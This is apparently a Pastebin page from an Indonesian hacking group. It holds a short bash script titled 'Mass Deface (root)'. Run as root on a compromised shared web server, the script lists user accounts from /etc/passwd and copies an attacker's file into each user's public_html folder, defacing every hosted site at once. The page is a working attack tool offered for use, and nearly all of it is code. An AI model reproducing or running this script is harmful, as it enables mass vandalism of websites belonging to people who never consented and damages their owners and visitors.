SHARE
TWEET

Mass Deface (root)

AgusSR Jan 6th, 2017 (edited) 1,507 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2. args=("$@")
  3. UHOME="/home"
  4. FILE=$(pwd)"/"${args[0]}
  5. priv=$([ $(id -u) == 0 ] && echo " here we go..........." || echo " you must root to run this file :)")
  6.  
  7. echo " ~~~~~     Mass Deface (root)    ~~~~~ "
  8. echo " ~~      Coded by: l0c4lh34rtz      ~~ "
  9. echo " ~    IndoXploit - Sanjungan Jiwa    ~ "
  10. echo "------ [ usage: ./mass file ] ------"
  11. echo ""
  12. echo $priv
  13. echo ""
  14.  
  15. if [ -z "$1" ]
  16.     then
  17.     echo "usage: ./mass file"
  18.  
  19. else
  20.  
  21.  # get list of all users
  22. _USERS="$(awk -F':' '{ if ( $3 >= 500 ) print $1 }' /etc/passwd)"
  23. for u in $_USERS
  24. do
  25.     _dir="${UHOME}/${u}/public_html"
  26.     if [ -d "$_dir" ] && [ $(id -u) == 0 ]
  27.     then
  28.         /bin/cp "$FILE" "$_dir"
  29.         if [ -e "$_dir/"$(basename "$FILE") ]
  30.             then
  31.             echo "[+] sukses ->" "$_dir/"$(basename "$FILE")
  32.             #chown $(id -un $u):$(id -gn $u) "$_dir/"$(basename "$FILE")
  33.         fi
  34.     fi
  35. done
  36. fi
RAW Paste Data
Top